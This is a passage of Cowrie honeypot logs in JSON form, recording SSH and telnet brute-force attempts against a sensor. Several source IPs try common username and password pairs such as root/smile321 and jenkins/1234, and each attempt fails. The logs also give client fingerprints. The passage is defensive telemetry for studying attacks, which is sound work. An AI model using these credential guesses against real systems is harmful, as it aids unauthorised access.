16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:55.986504Z","src_ip":"45.153.34.97","session":"99397aa518f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:56.613299Z","src_ip":"45.153.34.97","session":"99397aa518f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:57.699078Z","src_ip":"45.153.34.97","session":"99397aa518f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59162,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca319e54e04d","protocol":"telnet","message":"New connection: 152.42.224.71:59162 (10.17.0.5:23) [session: ca319e54e04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:58.228942Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63464,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2021491e25","protocol":"ssh","message":"New connection: 45.153.34.97:63464 (10.17.0.5:22) [session: aa2021491e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:00.279035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:00.294086Z","src_ip":"45.153.34.97","session":"aa2021491e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:00.769063Z","src_ip":"45.153.34.97","session":"aa2021491e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:01.087034Z","src_ip":"45.153.34.97","session":"aa2021491e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:02.176462Z","src_ip":"45.153.34.97","session":"aa2021491e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55698,"dst_ip":"10.17.0.5","dst_port":22,"session":"75908715ffcd","protocol":"ssh","message":"New connection: 51.250.105.222:55698 (10.17.0.5:22) [session: 75908715ffcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:04.409259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:04.419293Z","src_ip":"51.250.105.222","session":"75908715ffcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:04.724203Z","src_ip":"51.250.105.222","session":"75908715ffcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ufkbyf","message":"login attempt [root/ufkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:05.122481Z","src_ip":"51.250.105.222","session":"75908715ffcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:06.256566Z","src_ip":"51.250.105.222","session":"75908715ffcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63470,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e7443d2fc93","protocol":"ssh","message":"New connection: 45.153.34.97:63470 (10.17.0.5:22) [session: 9e7443d2fc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:07.279223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:07.290782Z","src_ip":"45.153.34.97","session":"9e7443d2fc93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:07.769300Z","src_ip":"45.153.34.97","session":"9e7443d2fc93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:08.201323Z","src_ip":"45.153.34.97","session":"9e7443d2fc93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63476,"dst_ip":"10.17.0.5","dst_port":22,"session":"f072f954a014","protocol":"ssh","message":"New connection: 45.153.34.97:63476 (10.17.0.5:22) [session: f072f954a014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:08.646538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:08.655277Z","src_ip":"45.153.34.97","session":"f072f954a014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:08.737734Z","src_ip":"45.153.34.97","session":"f072f954a014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"root","message":"login attempt [deployer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:08.999515Z","src_ip":"45.153.34.97","session":"f072f954a014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":32812,"dst_ip":"10.17.0.5","dst_port":22,"session":"74a1c1ff4ae6","protocol":"ssh","message":"New connection: 43.153.36.83:32812 (10.17.0.5:22) [session: 74a1c1ff4ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:09.081907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:09.086425Z","src_ip":"43.153.36.83","session":"74a1c1ff4ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:09.154797Z","src_ip":"43.153.36.83","session":"74a1c1ff4ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:09.286023Z","src_ip":"45.153.34.97","session":"9e7443d2fc93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smile321","message":"login attempt [root/smile321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:09.459213Z","src_ip":"43.153.36.83","session":"74a1c1ff4ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:10.088459Z","src_ip":"45.153.34.97","session":"f072f954a014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:10.530841Z","src_ip":"43.153.36.83","session":"74a1c1ff4ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41768,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e264aa9f446","protocol":"telnet","message":"New connection: 152.42.224.71:41768 (10.17.0.5:23) [session: 0e264aa9f446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:10.769362Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41772,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eca2613a9cf","protocol":"telnet","message":"New connection: 152.42.224.71:41772 (10.17.0.5:23) [session: 2eca2613a9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:11.197596Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17692,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c7e964c60b","protocol":"ssh","message":"New connection: 45.153.34.97:17692 (10.17.0.5:22) [session: 65c7e964c60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:12.779821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:12.922872Z","src_ip":"45.153.34.97","session":"65c7e964c60b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:13.280701Z","src_ip":"45.153.34.97","session":"65c7e964c60b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:13.871061Z","src_ip":"45.153.34.97","session":"65c7e964c60b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.51169562339783,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:15.105080Z","src_ip":"152.42.224.71","session":"d92e531d981b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:15.280903Z","src_ip":"45.153.34.97","session":"65c7e964c60b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17694,"dst_ip":"10.17.0.5","dst_port":22,"session":"c53a3e626380","protocol":"ssh","message":"New connection: 45.153.34.97:17694 (10.17.0.5:22) [session: c53a3e626380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:17.074775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:17.090251Z","src_ip":"45.153.34.97","session":"c53a3e626380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:17.186690Z","src_ip":"45.153.34.97","session":"c53a3e626380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:17.781478Z","src_ip":"45.153.34.97","session":"c53a3e626380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.823171615600586,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:18.006110Z","src_ip":"152.42.224.71","session":"3983c9d7885d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:18.877282Z","src_ip":"45.153.34.97","session":"c53a3e626380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":40448,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd0a9d3795a","protocol":"ssh","message":"New connection: 45.153.34.97:40448 (10.17.0.5:22) [session: cfd0a9d3795a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:21.172806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:21.329058Z","src_ip":"45.153.34.97","session":"cfd0a9d3795a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 